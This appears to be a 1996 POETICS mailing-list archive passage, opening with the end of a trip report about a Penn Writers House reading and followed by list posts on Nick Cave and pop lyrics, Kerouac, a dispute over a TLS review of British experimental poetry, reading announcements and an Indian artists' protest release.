Gil talks about Beatitude and SF in the early 70s
and kush. He started Paper Air to talk back
to those friends when he moved to Phili.
The editors in turn say things about their mags.
Juliana Chain, Bob Hills, Dave X-Connect, Teresa Painted Bride
and Louis Hole. Bob asks Louis about Vancouver
and Louis talks about Ottawa.

Bob asks a two-part question of the three visitors
and suddenly it's an interview. Are you a language poet
& do you have any hostility toward language poetry.
Juliana goes first. It's her tradition and she has no
Oedipal problems. Her eyes look like Cal Ripken's.
Chris goes next and says he was already an ashberian
street poet before he came to language poetry and
so had a certain amount of hostility toward it.
Chris is looking right at Gil. Why are you looking at me Chris?
We laugh. Then I say I can't be a language poet
because I wasn't there then. I say language poets
were some my of teachers and I was receptive to the work
because I had no poetry background having just come
from the sciences. It wasn't all fluffy and stuff I say.
I also say that I admire their community model but don't feel
any compulsion to replicate or riff their forms. Then I describe
Juliana's theory as a way of talking about generational difference
and feel like I've stolen her theory. She says ya, Lee Ann is doing it
and her Bard students are confused about their genders.
Bob says but Carla and Lyn have the sex piece.
Yes they do and it's hot I say and he says Carla's deSade
piece is too & I disagree thinking it's more of a mind fuck
than a fuck fuck but instead I say it doesn't turn me on.
Bob says Ron has sex in his work. I think Bob is waiting
for me to address the puking blow job line and I bite.
It doesn't turn me on I say. Somehow we've gotten off
Juliana's theory and on to straight sex. She is the only one
in the interview to say fuck.

We eat at Chili's on the Writer's House budget.
There is talk of movie star names & middle names
& meanings of last names & street names.
The food arrives and Louis ends up with the best name.

After dinner we go out into the hurricane.
We are careful to keep our umbrellas pointed
to the sources of the shifting wind. Vance meets us
on the way in and knows about the car.

Goodbye's are said to those at Writer's House.
Louis gives the best goodbye: Dare I say Juliana,
I've never seen you laugh so much. There, I said it.

Josh needs to clean up the room and Chris
is getting a ride back to new york in the car.
They want to come to the room now and I want
them to wait at Writer's House. They win and
walk to the room. Juliana & I take the car.
Juliana says Louis is great. Ya I say. I fell
in love with him. I guess we're going to have
to make him tapes when he can no longer
walk into things.

I'm soaked. I start undressing and look at Chris & Josh
and snit you want to watch me undress? They leave the room.
I change and feel guilty for snitting and give Josh
some books and say come stay with me in New York.
Chris comes back in the room and comments
on my changed appearance. We sit on the floor
and try to map a route out of Phili. We take a long time
to decide on the route. I want to go interstate
because of the hurricane but Chris is afraid
we'll end up in Willmington. Juliana & I
look at each other and laugh. Chris,
we came from Willmington.

Chris is very funny on the drive home.
He says in future interviews we should
answer questions in a smart alec way
like the Beatles. Juliana says nobody's
going to ask us when we last cut our hair.
However when I think back to the interview
Juliana did give an answer like that. Bob
asked her what it was like to be a writer
in New York. Juliana said there's a lot
of nice people to talk to. What??
In New York there's a lot of nice people
to talk to.

We drop Chris in Jersey City and head to Brooklyn.
Jennifer's new books are there and I rip open
the package and look at the cover of Imagination Verses.
How french I say and swoon when I read what
she signed inside:

> For Bill --
> There will always
> be room for you
> in my heart's stable!
> Thank you for being
> ever tender.
>
> love,
> Jennifer

Then I read With a Preface by the Author
and laugh and love her fanciful turns and
turn to the preface. Even The Love Poem
Agitates The Beloved To Fall In Love
With The Poet. It's a handsome collection.
Juliana likes it.

Thanks to everyone that helped me, & please, help me once again.

Bill

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298. **DS**
Re: student sincerity
Tue 15 Oct 1996

I've often though Amnesty international should intervene on behalf of those forced to listen to him... (or worse read his poetry)

At 01:36 PM 10/15/96 +1000, you wrote:
>What about Nick Cave for next years Nobel prize?
>

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299. **cris cheek**
Sound & Language event
Tue 15 Oct 1996

FRIDAY 18th October from 9pm - 2am

Sound & Language curates:

The Night of the Living Tongues

with: Asian Dub Foundation (rap, dub, drum and bass)
Aaron Williamson (performance poet)
Orphan Drift (the curse of the vernacular)
Ronald Fraser-Monro (Barbara Tartland and T.S.Idiot herselves)
Josefina Cupido (one woman one drum)
Sianed Jones / Martin Sercombe installation (horizon rushes)

the event is Free - with donations towards the disability access fund

at Colchester Arts Centre
Church Street
Colchester CO1 1NF
(01206 577301)

all welcome - capacity venue - come early to be safe rather than sorry

message ends

love and love
cris

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300. **maria damon**
Re: Trip Report
Tue 15 Oct 1996

---

thanks for the trip report bill, wish Ida bin there. the folks that drove me to my gig at the writers house (back in feb) also got ticketed for where they parked. i had a great time too. bob was a terrific host and josh and shawn and tim were totally cool. i love the idea of the writers house. my friend david wallace, a medievalist, just left UMN's crumbling morass for Penn's ivied halls, so you phillies, please be nice to him if you cross his path. he says it's a treat to be at a place where colleagues like what they do and students come to class prepared. xo, md ps maybe there's something about that writers' house...i missed my gig due to heavy snowstorm and delayed plane, bob waited 2 hrs for me at the cold gray train station, we rescheduled for the following day.

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301. Mark Roberts
Re: student sincerity
Tue 15 Oct 1996

Oh really!! I can't think of anyone who is forced to listen to Nick Cave & beleive it or not some people actually do come to 'serious' poetry after starting out on the easy stuff like Mr Cave.

On Tue, 15 Oct 1996, DS wrote:

> *I've often though Amnesty international should intervene on behalf of those forced to listen to him... (or worse read his poetry)*
>
> *At 01:36 PM 10/15/96 +1000, you wrote:*
> *What about Nick Cave for next years Nobel prize?*

^X

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302. Peter Zukowski
Private's Coming Out
Tue 15 Oct 1996

Private Arts #10, a Special Anniversary Issue
contains old faves and new raves, " . . . a
swirling range of poetry and fiction . . . as
well as photographic essays and mixed media pieces
combining language and art . . . beautifully put
together, if a bit daunting . . ." (Literary
Magazine Review) "The page is now a living surface.
Fluidity is the order of the day." (Metropolis)

Private Arts 10 features:

Charles Bernstein, Star Black, Norma Cole,
Larry Eigner, Lyn Hejinian, John Knoepfle,
Richard Kostelanetz, Douglas Messerli,
Ralph J. Mills Jr., Ursule Molinaro, Ed Paschke,
Christy Sheffield Sanford, Leslie Scalapino,
Christopher Sorrentino, Keith Waldrop,
Rosmarie Waldrop, David Foster Wallace,
Rosanne Wasserman, Curtis White, John Yau,
and several others.

Price: $15 plus shipping

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[redacted]

and make sure to include your full shipping address.

Copies of Private Arts 8 and 9--Special Double Issue are available for $12 plus shipping.

"adjacent actuality
naturally
just happens
inspiring awe
accuracy false
reminiscence as
the murmur necessary
and sufficient
to the intimate
grandeur of morning"

--from Private Arts 10

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303. Jordan Davis
ye olde music thread
Tue 15 Oct 1996

I get migraines from the music of Nick Cave.
However, that same music has been known to cure hives.

agitatedly,
Jordan,
who has been miffed since last year
when Herb Levy referred to the music of Brian Eno
as fit only for poseurs

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304. Pritchett,Pat
Re: student sincerity
Tue 15 Oct 1996

Okay. Scratch "authenticity." Try "earned appropriation" instead. But what would constitute such? Good point re: context & audience, Alan. As "documents of culture," everything considered such is fair game for analysis - pop songs as well as poetry. Still, I'm not sure we can hold a pop song accountable in the same way we do a poem. Its aims are different. For instance (a broad generalization here, for which I may be crucified): songs tend to play down to an audience, poems tend to play up. On the other hand, when I was going through my divorce ten years ago, no poem in the world offered me as much comfort as maudlin country songs on a jukebox in a rundown bar. This was after a number of beers, of course. (Of course).

Patrick

From: alan clara sondheim
To: Multiple recipients of list POETICS
Subject: Re: student sincerity
Date: Monday, October 14, 1996 10:30PM

Well, rather than bringing philosophy into it, let's continue in our usual fashion of disparaging popular poets and poems, pop music, and anything else that doesn't meet our unstated standards. Because after all, we know better. We're experimental.

I agree - no philosophy - just pure opinion. I LOVE IT

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
faith has no interval

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305. Christina Fairbank Chirot
Kerouac,bpNichol & listening
Tue 15 Oct 1996

There is a good Kerouac song--"Kerouac" by Willie "Loco" Alexander and the Boom Boom Band. (That song and "MASS.AVE" were regional Boston hits and remain Boston radio played classics to this day. Wiile was in The Lost in the Sixties and later in one of last incarnations of the Velvet Underground before forming the Boom Boom Band.Willie has a cult following in France--the journal Nineteen did a special on him and various collections of his work have come out on the New Rose label.) Alan Sondheim had a good point re

listening to popular music. Kerouac's use of popular songs as well as jazz is well known. (See the "Tapes" sections of Visions of Cody for example.) bpNichol made great use of popular music. Karl Young has noted bp's interest in why people liked what they liked and bp's checking out Guy Lombardo lps as an example. Paul Dutton, in "bpNichol and the Past-Present of a Future Music" (Musicworks #44) writes: "bpNichol's taste in music was eclectic, his love of it abiding, his appetite for it inexhaustible, his knowledge of it broad and deep. He was familiar equally with jazz from its roots through to its latest developments, with the range of pop musics from the twenties to the eighties, with Broadway and film musicals, and with the works of contemporary composers. He was as eager to attend a performance of a Stockhausen work as to go to an Ornette Coleman concert, a Tony Bennet show, or a Rod Stewart rock-up". bpNichol frequently cites Coleman's Free Jazz lp as having "cleansed my ears". A range and freedom in listening opens possibilities in writing for the poet. Don Cherry, who plays on Free Jazz, used to enjoy reading aloud the poems of "Leroi Jones" while simultaneoulsy putting on rural blues lps, Dous'n'Gouni music from Mali, early Neil Young, the theme song from "Viva Zapata" and Melanie's "Candles in the Rain". On "Sonny's Time Now" you can hear Sonny Murray, Albert Ayler and Don Cherry playing with "Leroi Jones" reading/performing. CDs of Kerouac reading to jazz are readily available. "Hey, Jack Kerouac" could be a vehicle to get people/students into listening to music in relation to writing via sounds rather than "meaning" of lyrics. Writing in relation to notation--which could be way to bring in area of visual poetry as well--relation of notation of writing to visual presentation--Kerouac's "Book-movie is the movie in words, the visual American form" for example. Kerouac in "Esssentials of Spontaneous Prose": "sketching language is undisturbed flow from the mind of personal secret idea-words, blowing (as per jazz musician) on subject of image". bpNichol from Journeying and the Returns, quoted by Dutton:

"I place myself there, with them, whoever they are, wherever they are, who seek to reach themselves and the other thru the poem by as many exits and entrances as are possible".

Might be interesting to see/hear/read what exits and entrances could be made of/with "hey, Jack Kerouac" by using methods of notation, sketching and blowing Kerouac and bpNichol open as possibilities in writing.

--dave baptiste chirot

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306. **Ira Lightman**
Re: How To Not Read
Tue 15 Oct 1996

As a British poet, I'm amazed that nobody has raised a small hand of reservation about Steve Evans' review of the TLS review of Conductors of Chaos. I don't agree at all with Mark Wallace that Steve Evans should consider more widely circulating this review; it just about works in the context of this group, where, much to my own personal regret, we experimentalists get more of our chests as outbursts, especially versus the mainstream, than we do engage in real debate.

I found Keith Tuma's remarks at least a little bit informed about Britain; but I disagree entirely that the review had a strict Movement agenda; Robert Potts' citing of Donald Davie does not automatically make a Movement agenda; more likely, I think, a Davie agenda, a canon drawn from Davie's enthusiasms like Jack Clemo, MacDiarmid, Bunting, Feinstein, Tomlinson and Sisson; none of these poets were part of the movement, nor benefitted from them. Steve Evans, if you're reading this, I recommend Davie's Under Briggflatts A History of British Poetry 1960-88, it's much more complex and critically well written than Potts' piece (or your own, I might as well join this stonefight from glasshouses) and justifies Potts' enthusiasm for Davie.

I think Steve Evans piece, as Derrida said of Freud's reading of the Emperor's New Clothes, existed before the review and makes very little engagement with it. By engagement I mean what I think Davie meant about it being counter-productive to take sides; an act of engagement involves concession, taking criticism, not wholesale rebuffing plus character assassination. I don't know Robert Potts, but I think Steve Evans has misread his tone and attacked him unfairly. People who live in glasshouses and throw stones at others' critical prose are exemplified by remarks like:

"a pure example of xenophobic reading"
How pure? Xenophobic? "Hating all"? When he makes
a point of applauding some?

My reading of the review is that Potts doesn't like
capitalism either, so agrees with the aims of
the anti-capitalists in the book but questions
whether they succeed (and further speculates how
such aims might). His use of Davie's remarks about
having some respect for the person who pays for
your book *can* be sidestepped, but not by branding
Potts and Davie as collaborators in capitalism.
First of all, where's the distinction in Steve
Evans' piece between multinational capitalism
and small business? Davie's father was a shop
keeper, running a small business. Many of the
poets I, and I suspect Steve Evans, like have
come to us via thrifty small businesses ie
small presses. If you believe writing should
be given away, not sold, which is what I often
do with my writing, as a kind of ambassadorship
or discipleship of not just me but poetics,
then that too is a complication to confront
Robert Potts with. But saying he is just
conforming to the market doesn't have proper
historical or theoretical resonance as a
critique. The market in this sense is, I
assume, meant to stand for lowest common
denominator spoon-feeding. Davie didn't
advocate that, as one of the best writers on
Pound and what we have to learn about prosody
and music from Pound (which, I think, Potts
is right to say many of the Chaos poets
ignore, and mostly through inability with
prosody and music, of the sort Davie tried
hard, in his poetry small business entrepreneurship,
to remedy.)

It's true that Potts follows (and narrows
the McDiarmid and Pound loving poetry of ideas
loving) Davie in preferring lyric poetry of place:
the poet in a landscape responding in conventional
syntax. Still, Davie had a lot to say, that the

Chaos poets could learn, about how taking the lyric stance one can then work on the music of the writing; it's true that this sometimes leads to critics saying no non-conventional syntax can have music, but that's not what Davie says about Pound.

Does anarchy on the page create anarchy, freedom create freedom? Potts seems to me to ask if the Chaos poets manage what they think or want to do. I think he fails, badly and reprehensibly, to acknowledge Conductors of Chaos as an overview of a culture that sometimes does work best when talking to itself; he just quickly pricks its pretensions to effectiveness as a revolution. That's why he compares Davie's idea of a civil contract with what he sees here as a religious cult. A lot of his review hums with the resentment and the snooty behaviour towards outsiders that jolly well is prevalent in a lot of avant-garde poetry events in Britain (Cris Cheek's music and poetry events being a notable exception). He mentions the CCCP in Cambridge. Well, it bloody well is unfriendly to outsiders. He mentions Andrew Duncan's essay from Angel Exhaust because it shows an insider making the point that it's counter-productive and uncomfortable if you are inside and don't like brotherhood attitudes. The scene may very well by different in the US, and if Steve Evans has experienced rudeness from critics about a US scene less cult-ish than I share his rage at their over-reaction. In the UK, however, it's not entirely unjustified. It takes a long time to get used to the work on the page, and the public readings you can go to here don't help; indeed, I felt like a stupid person sitting not completely enwrapped, and indeed I feel *braved* the surface rudeness to get something from the poetics here. There is a difference between surface difficulty from a poet who is respectful and loving, and a surface rudeness from a poet who's rude and solitary and you only get anything from them in spite of them.

Shouldn't we be aware of predecessors? Shouldn't Eliot be named? I can think of many, not least the more than occasionally ranty Andrew Duncan, who could benefit from thinking: "am I too much like Pound? How in a good way? How in a bad way?"

I won't go on, but I feel Steve Evans has caricatured Robert Potts as a High Establishment figure, and that he's got him wrong, and missed some of the good points of the review: some warnings, now these poets are in the public domain, about why readers who basically vote with their attendance and hard-earned money and precious time would say some of these things if they were articulate. That would start the debate, and, I agree with Steve Evans that we could reason with their prejudices, slowly win them over, as we could never Robert Potts. But he is giving us some means to do this with his criticisms and ducking the criticisms means ducking an opportunity - not to conform, but to win over.

Ira Lightman

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307. Henry Gould
another reading in RI
Tue 15 Oct 1996

---

for all you southern New England inchworms, glow-worms, & earwigs - another reading at Native Gallery:

Karen Donovan & Walker Rumble of Oat City Press will read from their work and unfold some of their fine letterpress printing. Friday, Nov. 8th, at 8 pm, right after the opening for the November gallery show. Native Gallery, 387 Charles St, Providence. Right off 95 at the junction with Route 146; call [redacted] for info & directions. Free (we pass the hat); refreshments (gallery show opening starts at 5:30). Sponsored by da Poetry Mission. Jack Spandrift will probably not be there (I've asked him to spend some quality time with his pit bull). - Henry Gould

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308. **alan clara sondheim**
Re: student sincerity
Tue 15 Oct 1996

Songs can be difficult as well in a variety of ways, and it's hard to tell where pop ends and something else begins - think of Cabaret Voltaire in the 70s and 80s, or SPK for example. I also think of the lyrics of, say, Gang of Four, which, as I remember, were pretty sophisticated. In any case, these musics aren't particularly easy - just as following a solo in heavy metal - really following it - isn't easy either.

So it becomes a matter of odd definition - what constitutes a pop song as such? And is there pop poetry? (Joyce Kilmer, Edgar Guest, etc.?)

Alan

On Tue, 15 Oct 1996, Pritchett,Pat @Silverplume wrote:

> *Okay. Scratch "authenticity." Try "earned appropriation" instead. But what would constitute such? Good point re: context & audience, Alan. As "documents of culture," everything considered such is fair game for analysis - pop songs as well as poetry. Still, I'm not sure we can hold a pop song accountable in the same way we do a poem. Its aims are different. For instance (a broad generalization here, for which I may be crucified): songs tend to play down to an audience, poems tend to play up. On the other hand, when I was going through my divorce ten years ago, no poem in the world offered me as much comfort as maudlin country songs on a jukebox in a rundown bar. This was after a number of beers, of course. (Of course).*
>
> *Patrick*
> *----------*
> *From: alan clara sondheim*
> *To: Multiple recipients of list POETICS*
> *Subject: Re: student sincerity*
> *Date: Monday, October 14, 1996 10:30PM*
>
> *Well, rather than bringing philosophy into it, let's continue in our usual fashion of disparaging popular poets and poems, pop music, and anything else that doesn't meet our unstated standards. Because after all, we know better. We're experimental.*
>
> *I agree - no philosophy - just pure opinion. I LOVE IT*
>
> *http://jefferson.village.virginia.edu/~spoons/internet_txt.html*
> *images: http://www.cs.unca.edu/~davidson/pix/*
> *faith has no interval*

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
faith has no interval

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309. Dan Machlin
Reading: Charles Bernstein & John Kinsella
Tue 15 Oct 1996

Mark your calendars:

CHARLES BERNSTEIN
JOHN KINSELLA

Sunday, November 17th, 7:00 p.m. sharp
@
The Segue Performance Space & Poetry Archive
303 East 8th Street, NY, NY (betw. Aves B & C)
Buzz 1R
Suggested Contribution $5.00
[redacted]

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310. Aldon L. Nielsen
Re: return of the repressed (fwd)
Tue 15 Oct 1996

---------- Forwarded message ----------
Date: Tue, 15 Oct 1996 08:20:52 -0700 (PDT)
From: Aldon L. Nielsen <[redacted]>
To: UB Poetics discussion group <[redacted]>
Cc: Recipients of POETICS digests <[redacted]>
Subject: Re: return of the repressed

after a period of involuntary lurking, I am again able to telnet my way out of Colorado and onto my account in California,,, couple quickies today --

Just reading Lisa Jarnot's new Burning Deck Press book and advise all to get a copy at once -- great work

Somebody (Loss?) reviewing Baraka at the Creeley bash said something about a Littoral Books publication by Baraka -- no Littoral books to be had in Boulder, it would seem -- can you give me title or any other info. about this book? Address or email of littoral?? (Tattered Cover in Denver, for all its other merits, has practically no small press poetry!)

"bad song lyric, not a poem" -- now that's a binary opposition I'd never thought to see here -- when IS a song lyric a poem, when it's good?

good to be back on the list -- though lurking had its solitary pleasures --

↑ Index

311. Dan Machlin
Re: Invasion of the reading reminders
Tue 15 Oct 1996

THIS THURSDAY, OCTOBER 17, 7:30 p.m., Sugg. $3.00
The Segue Performance Space & Poetry Archive
303 East 8th Street, NY, NY (betw. B & C)

JULIE PATTON (Performance Texts)
LEE ANN BROWN (New Video Work + Writings)
JP&LB (Textual Collaborations/Installation)

JULIE PATTON recently returned from a Worldwide Tour with musician Don Byron, with whom she performed improvised spoken-word texts. Days ago she participated in a Sound Poetry conference in Geneva, Switz. She is a New York City visual artist, performer and poet who has exhibited and performed her work internationally for over a decade and at the Whitney, New York Shakespeare Festival and Lincoln Center. Other recent performances of hers included the Festival Internacional de Poesia en Medelin, and Schule fur Dichtung in Vienna, Austria. She has been on the faculty of The Naropa Institute since 1994.

LEE ANN BROWN is the recent recipient of The New American Poetry Prize and her book POLYVERSE is forthcoming from Sun & Moon Press (Spring 1997). She also has new poems in Resistor Magazine. She is the editor of Tender Buttons Press, a press devoted to experimental writing by women, and has taught filmmaking at the University of Rhode Island and writing at The Naropa Institute. The two short videos she will be showing were filmed in Super8 last summer at the Royaumont Institute in France and are said to include celebrity cameos.

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312. George Bowering
Re: student sincerity
Tue 15 Oct 1996

I'm sorry. Could we start over? Who is Nick Cave?

> *I've often though Amnesty international should intervene on behalf of those forced to listen to him... (or worse read his poetry)*

> *At 01:36 PM 10/15/96 +1000, you wrote:*
> *What about Nick Cave for next years Nobel prize?*

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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313. George Bowering
Re: Kerouac,bpNichol & listening
Tue 15 Oct 1996

Thanks for nice full post, David.

People probably also know about a Ramblin' Jack Elliott song about Kerouac, which makes some sense, and is nowhere near stupid appropriation, because Jack and Jack were friends in the Village long ago.

Also regarding bpNichol and his wide taste in music. He had tapes of all the Fred and Ginger movies.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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314. Herb Levy
New Music Web tour
Tue 15 Oct 1996

Since there seems to be some interest in new music here let me briefly note that Arts Wire has just put up a Web "tour" of new music sites I did for them. It lists about 60-70 new music sites with brief descriptions.

<http://www.artswire.org/Artswire/www/awtour/herb/index.html>

And if you want to learn more about Arts Wire, check out their general site.

<http://www.artswire.org>

& to tie this in further to the poetics list, This month (poetics-list's own) Joseph Zitt is a guest of the Arts Wire New Music conference. I haven't had time to check in over there yet, but I'll be talk talking with you Joe.

Bests

Herb Levy
[redacted]

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315. Jordan Davis
Re: return of the repressed (fwd)
Tue 15 Oct 1996

You're quite right, Aldon. We should pay _no_ attention whatever to _context_.

A text is the same whether it's a song lyric given as an example of popular treatments of the life of Kerouac on a listserv discussion of Beat Poetry, or given as an example of bad poetry on a listserv discussion of Important Poetry; or to take another example, could somebody please post the Potts piece from the TLS that Steve Evans was responding to?

I thought there were some things in the piece (and not just mild praise of Douglas Oliver) that made it pleasantly eccentric and not unilaterally hostile. True, Potts seemed to be calling all of Prynne's work nonsense. Isn't there some sense in which this kind of review can be taken as high praise?

Or, what could one say about Prynne's (or Ashbery's) work to demonstrate how it comes close to completing thoughts and clauses, and then to point toward I don't know a historical basis for _sublimity_?

(Is this Potts the same person who wrote _Statutes of Liberty_, a to me hostile-seeming account of the New York School by a British critic? If so, then...)

Grr,
Jordan

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316. **Pam Brown**
Songs
Tue 15 Oct 1996

"bad song lyric, not a poem" -

An old edict - "anything too silly to be said can be sung."

Pam Brown

↑ Index

317. **Jeremy F Green**
Re: return of the repressed (fwd)
Tue 15 Oct 1996

Is this Potts the same person who wrote _Statutes of Liberty_, a to me
> hostile-seeming account of the New York School by a British critic? If so,
> then...)
>
> Grr,
> Jordan
>
No, Geoff Ward wrote _Statutes of Liberty_. I think he would be pretty surprised to hear that the book was hostile to NY School (it seemed to me, on the other hand, unhelpfully hostile to theory).

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318. **Jeremy F Green**
Re: How To Not Read
Tue 15 Oct 1996

Thanks to Ira Lightman for opening up the thread on the _Conductors of Chaos_ review.

A couple of thoughts:

yes, we certainly should be making better distinctions (and not just the one between e-mail and published critical prose), and confusing shopkeepers with multinational corporations is dangerous indeed, though of course there is a name for this confusion: Thatcherism. Aren't there, in any case, good reasons for resisting the plain dealing/plain talking analogy (to hark back to Keith Tuma's point about the 'Movement'--the only mention of Prynne in Larkin's letters is when the former is unfavorably compared to Patience Strong, a wrongly reviled poet [Larkin says--I'm relying on memory] who at least knew that language was there to communicate!).

Another question: is small press poetry publishing really the same as running a shop to make a profit? What sort of commodity is a poem? (there is a wonderful meditation on this in B.Catling's piece "The Stumbling Block" included in _Conductors of Chaos_). And don't we also have to come up with more nuanced categories than anti-capitalist vs. collaborator with capitalism?

Jeremy Green

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319. Gabrielle Welford

Actions on Doshi-Hussain Gufa (Press Release) (fwd)

Tue 15 Oct 1996

Please forward this to all your friends, colleagues, comrades who you believe will have a stake in this. This is a general call to all creative or socially-conscious people: artists, film-makers, literateurs, etc. etc. please fax an image, poem or short piece of prose or e-mail a letter to one of the following addresses. They are followed by the press release:

e-mail:
[redacted]

fax (images):
91-11-[redacted]
91-11-[redacted]

Please do this before Thursday noon, IST.

Love,
Arindam

PRESS RELEASE

Over 100 artists, writers, intellectuals, poets, theatre persons and gallery owners, among whom were notable artists Satish Gujral, Bhabesh Sanyal, A. Ramachandran, Manjit Bawa, Arpita Singh, Manu Parekh, Vivan Sundaram and Jatin Das; writers and critics Bhisham Sahni, Nirmal Verma, Krishen Vallabh Vaid, Ashok Vajpayeee, Keshav Malik and Suneet Chopra; gallery owners Rekha Puri, Renu Modi, and Arun Vadhera; poets Manglesh Dabral and Pankaj Singh; and theatre persons N.K. Sharma, Ram Gopal Bajaj and film critic Aruna Vasudev, gathered in the lawns of Rabindra Bhawan to protest against the vandalism indulged in by the Bajrang Dal at Ahmedabad that led to the destruction of a large number of irreplaceable works of art by the eminent painter M. F. Husain.

Speaking on the occasion, there was unanimity among artists, writers and specialists that those who had committed this act had no comprehension of our

temple iconography or cultural traditions. They further called on the Government of india and the state governments of Maharashtra, Gujarat and Madhya Pradesh, to ensure that those spreading communal propaganda against the noted painter be brought to book and the vandals punished.

To register their protestt against this unprecedented savagery, they called for an all India Protest Day on 18th October, to be observed with the "Closure of all art galleries, schools and institutions" and have called on artists all over the country to fax a drawing of Saraswati or an image of protest with their statements in support of Husain to the SAHMAT office in New Delhi as the art world denies the right of any single institution or set of institutions to dictate what we should paint.

The images should be faxed by Thursday 12 noon at fax numbers 011-3355845 or 011-4622017.

Madhavi Parekh, Anzum Singh, Renu Modi, Sadre Alam, Zargar Zahoor, S.P. Singh, Mir Imtiaz, Rajeev Bhargav, Sambhavi, Geeti Sen, Shikha Trivedi, Bulbul Sharma, Aruna Vasudev, Rashmi Vajpayee, Amrut Patel, Manu Rewal, Sudip Roy, Reya Thakur, Sujata Dere, Meera Menezes, Ujjwal Gupta, Alpana, Sushma Gupta, soma Basu, Trikha Gupta, Rekha Purie, Pankaj Singh, Kanchan Chandra, Keshav Mallick, Manu Parekh, Vivan Sundaram, Paramjit Singh, Arpita Singh, Manisha Parekh, Jhupu Adhikari, Ruchira Gupta, Anil Chandra.

%%% overflow headers %%%
To: poco <[redacted]>,
Multiple recipients of list SASIALIT <[redacted]>,
Vivek Agrawal <[redacted]>,
Niraj Anand <[redacted]>,
Sonit Bafna <[redacted]>, Ritu Bhatt <[redacted]>,
Preeti Chopra <[redacted]>,
Geeta Cowlagi <[redacted]>,
Ananya Das <[redacted]>,
Shubhagato Dasgupta <[redacted]>,
Aparna U Datey <[redacted]>,
Sambit Datta <[redacted]>,
Abhilash Dave <[redacted]>,
Ashish Dave <[redacted]>, Partho Dutta <[redacted]>,
Deb Dutta Ganguly <[redacted]>,
Nagaraja Harshadeep <[redacted]>,
"Sanjay M. Kewlani" <[redacted]>,
Tarun Khanna <[redacted]>,
kamal kishore <[redacted]>,
Satish K Kolluri <[redacted]>,

Manish Kothari <[redacted]>,
KRISHNAN <[redacted]>,
Amlan Majumdar <[redacted]>,
Minakshi Maniben <[redacted]>,
Sapna Mehta <[redacted]>,
Dipankar Mukherjee <[redacted]>,
"Muhammad I. Muzaffar" <[redacted]>,
"Maulik K. Parikh" <[redacted]>,
Meghana Parikh <[redacted]>,
Vaishali Patel <[redacted]>,
Vikramaditya Prakash <[redacted]>,
Vidhya Sampath <[redacted]>, Mahua Sarkar <[redacted]>,
Sasha Sattar <[redacted]>,
Shukla Sawant <[redacted]>,
Navin Saxena <[redacted]>,
Peter Scriver <[redacted]>,
Jagan Arvind Shah <[redacted]>, Setu Shah <[redacted]>,
Charu Sharma <[redacted]>,
Manu Prithvish Sobti <[redacted]>,
union street <[redacted]>,
"Subramaniam K. Ramakrishnan" <[redacted]>,
Pratap Talwar <[redacted]>
%%% end overflow headers %%%

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320. **Mark Roberts**

Re: ye olde music thread

Tue 15 Oct 1996

> *I get migraines from the music of Nick Cave.*
> *However, that same music has been known to cure hives.*
>
> *agitatedly,*
> *Jordan,*
> *who has been miffed since last year*
> *when Herb Levy referred to the music of Brian Eno*
> *as fit only for poseurs*

I can remember talking about Cave oh 18 months ago in a thread which again (I think started with Dylan) & I am probably going to make the same point as I did then.....But I 'discovered' poetry in books (you know real poetry in small press books and magazines which are really hard to get if you are 16 and don't

know about the 2 trendy inner city bookshops which stocked one or two of these magazines in the late 70s) after listening critically to rock song lyrics (you know punk had just happened -Radio Birdman/The Saints). I know it is really easy to dismiss people like Dylan (early) and so on - but I think there is probably more 'cross over' than some in the academy would care to admit.

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

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321. Mark Roberts
Re: student sincerity
Tue 15 Oct 1996

On the other hand,
>when I was going through my divorce ten years ago, no poem in the world
>offered me as much comfort as maudlin country songs on a jukebox in a
>rundown bar. This was after a number of beers, of course. (Of course).

I can remeber a relationship breakup where I used a mixture of early Michael Dransfield poetry STREETS OF THE LONG VOYAGE especially combined with the
Sex Pistols. A very potent combination.....

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

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322. Mark Roberts
Re: Songs
Tue 15 Oct 1996

> *"bad song lyric, not a poem" -*
>
> *An old edict - "anything too silly to be said can be sung."*
>
> *Pam Brown*

my grandmother once said.....
"anything too silly to be said should be written down in sonnet form"

sorry pam :)
Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

↑ Index

323. Jordan Davis
Tim Davis / Juliana Spahr @ Poetry City
Tue 15 Oct 1996

Believe by doubting
Tim Davis (_The Analogy Guild_)
and Juliana Spahr (_Nuclear_, _Testimony_, _Response_)
will be reading their poetry at Poetry City

on FRIDAY the 18th
at 7 p.m.
in the offices of Teachers & Writers Collaborative
5 Union Square West, NYC

though if you go to Union Square anywhere
else there may be a Union Square
and imagine Tim and Juliana are there, reading
send a report

all poetry
is or
should be
in quatrains!

↑ Index

324. Steve Carll
Hey Natalie Merchant
Tue 15 Oct 1996

I've always interpreted the song as poking some gentle fun at the Beat mythos, with the "Allen baby" and "Billy" references. The now-famous indetectibility of e-mailed irony is here made doubly difficult by the transcription of sung, voiced lyrics in transcription. Yuck. This is not my favorite song on the album it comes from, but hey Jordan, what about "A Campfire Song", "Verdi Cries", and/or "Don't Talk"?

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

325. Aldon L. Nielsen
Re: repressing the returned
Tue 15 Oct 1996

Ah yes, first message back on the list and I've managed to attract sarcasm already --

I believe I did read and comprehend the context of the remark about a bad song lyric vs. a poem -- but maybe I missed something --

Why would anybody ever think that a text is always "the same"? I neither think such a thing, nor suggest such in my short remark -- What I was wondering about was -- what is the critical context in which song lyric (bad or good) is opposed to "poem" (bad or good / example of something in a class or free-floating in the air, whatever -- it was an opposition that surprised me -- still does) I

neither failed to attend to the context nor asked that anybody else do so --
Though I did assume an audience that had read the exchange to which I alluded
